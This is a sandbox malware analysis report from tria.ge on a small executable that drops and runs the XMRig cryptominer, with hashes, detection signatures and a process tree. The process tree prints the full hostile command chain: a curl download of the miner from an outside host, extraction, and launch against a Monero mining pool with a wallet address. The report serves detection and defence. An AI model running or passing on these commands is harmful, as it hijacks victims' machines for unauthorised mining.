Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
3test - Copy (10).exe
windows10-2004-x64
10test - Copy (11).exe
windows10-2004-x64
10test - Copy (12).exe
windows10-2004-x64
10test - Copy (13).exe
windows10-2004-x64
10test - Copy (14).exe
windows10-2004-x64
10test - Copy (2).exe
windows10-2004-x64
10test - Copy (3).exe
windows10-2004-x64
7test - Copy (4).exe
windows10-2004-x64
10test - Copy (5).exe
windows10-2004-x64
10test - Copy (6).exe
windows10-2004-x64
10test - Copy (7).exe
windows10-2004-x64
10test - Copy (8).exe
windows10-2004-x64
10test - Copy (9).exe
windows10-2004-x64
10test - Copy.exe
windows10-2004-x64
10test.exe
windows10-2004-x64
10Resubmissions
11/03/2024, 21:08
240311-zy7ywsed31 1011/03/2024, 21:06
240311-zx53xagd73 1011/03/2024, 21:02
240311-zvwrfsec3x 1011/03/2024, 21:01
240311-ztxx5aeb9x 1011/03/2024, 20:59
240311-zs72psgc56 1011/03/2024, 20:57
240311-zrmpdaeb3v 1011/03/2024, 20:56
240311-zqzbsagb66 1011/03/2024, 20:55
240311-zqlexsgb55 1011/03/2024, 20:54
240311-zp4j4sgb43 1011/03/2024, 20:53
240311-zplz3agb32 10Analysis
-
max time kernel
1048s -
max time network
1059s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
11/03/2024, 20:53
Static task
static1
Behavioral task
behavioral1
Sample
test - Copy (10).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral2
Sample
test - Copy (11).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral3
Sample
test - Copy (12).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral4
Sample
test - Copy (13).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral5
Sample
test - Copy (14).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral6
Sample
test - Copy (2).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral7
Sample
test - Copy (3).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral8
Sample
test - Copy (4).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral9
Sample
test - Copy (5).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral10
Sample
test - Copy (6).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral11
Sample
test - Copy (7).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral12
Sample
test - Copy (8).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
test - Copy (9).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral14
Sample
test - Copy.exe
Resource
win10v2004-20240226-en
General
-
Target
test - Copy (12).exe
-
Size
6KB
-
MD5
4634098fe194204dc03f967cc0b19cd6
-
SHA1
eaa58619c6cea9f148cec61ee504cd727b3e80d8
-
SHA256
a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
-
SHA512
64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d
-
SSDEEP
96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s
Malware Config
Signatures
-
XMRig Miner payload 64 IoCs
resource yara_rule behavioral3/files/0x0007000000023285-20.dat family_xmrig behavioral3/files/0x0007000000023285-20.dat xmrig behavioral3/memory/4132-25-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-26-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-27-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-30-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-31-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-32-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-33-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-34-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-35-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-36-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-37-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-38-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-39-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-40-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-41-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-42-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-43-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-44-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-45-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-46-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-47-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-48-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-49-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-50-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-51-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-52-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-53-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-54-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-55-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-57-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-58-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-59-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-60-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-61-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-63-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-65-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-66-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-67-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-68-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-69-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-70-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-71-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-72-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-73-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-74-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-75-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-76-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-77-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-78-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-79-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-80-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-81-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-82-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-83-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-84-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-85-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-86-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-87-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-88-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-89-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-90-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig behavioral3/memory/4132-91-0x00007FF641AC0000-0x00007FF6425C4000-memory.dmp xmrig -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation test - Copy (12).exe -
Executes dropped EXE 1 IoCs
pid Process 4132 xmrig.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 652 Process not Found -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeLockMemoryPrivilege 4132 xmrig.exe Token: SeLockMemoryPrivilege 4132 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4132 xmrig.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 3484 wrote to memory of 5016 3484 test - Copy (12).exe 97 PID 3484 wrote to memory of 5016 3484 test - Copy (12).exe 97 PID 5016 wrote to memory of 3180 5016 cmd.exe 99 PID 5016 wrote to memory of 3180 5016 cmd.exe 99 PID 5016 wrote to memory of 4584 5016 cmd.exe 103 PID 5016 wrote to memory of 4584 5016 cmd.exe 103 PID 5016 wrote to memory of 4132 5016 cmd.exe 104 PID 5016 wrote to memory of 4132 5016 cmd.exe 104
Processes
-
C:\Users\Admin\AppData\Local\Temp\test - Copy (12).exe"C:\Users\Admin\AppData\Local\Temp\test - Copy (12).exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3484 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Dvd8eeTn.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:5016 -
C:\Windows\system32\curl.execurl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip3⤵PID:3180
-
-
C:\Windows\system32\tar.exetar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"3⤵PID:4584
-
-
C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4132
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4420 --field-trial-handle=3084,i,4016110471176367543,14287608422419064331,262144 --variations-seed-version /prefetch:81⤵PID:1272
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4572 --field-trial-handle=3084,i,4016110471176367543,14287608422419064331,262144 --variations-seed-version /prefetch:81⤵PID:968
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
421B
MD567d11b392feb0ad59fc11ff3e79dfeee
SHA17df5785988cb76c4893773614572c93baaa18717
SHA25669bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d
SHA51250835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11
-
Filesize
1.4MB
MD571e097f2534dfa016622815f7a981152
SHA148e3b316a808d6d3f60a32b98e48ab1c2c578a3e
SHA2569867164e962188fb33f639511f763a96f5a9033ba6256c489ab171f00c660b67
SHA51223572ff6e595ec2ec4d2ddc31524be0652a581fc3d13be26c59ec612005fd935e7739d3ed59be883b030b49ccbc0aac4bd53aac4761a82dbd7708746fce822b8
-
Filesize
5.3MB
MD5af04b9b6981c093e6bcc182335b094a6
SHA19462b2fee164725b251540b5338bc7745b316f74
SHA25625cec80a57b1b37e65011ba7a8e116cf92f1a60e55d2f081e3ef68fe3b3e15f4
SHA5126d506b33a07e35c8d23bda2c36f636a607fc62e381ce204f540e0dcefa63f09b08f916455c8397dbda10c0a67b87eaa647128c02652b5adbe3184a4ed9e127bc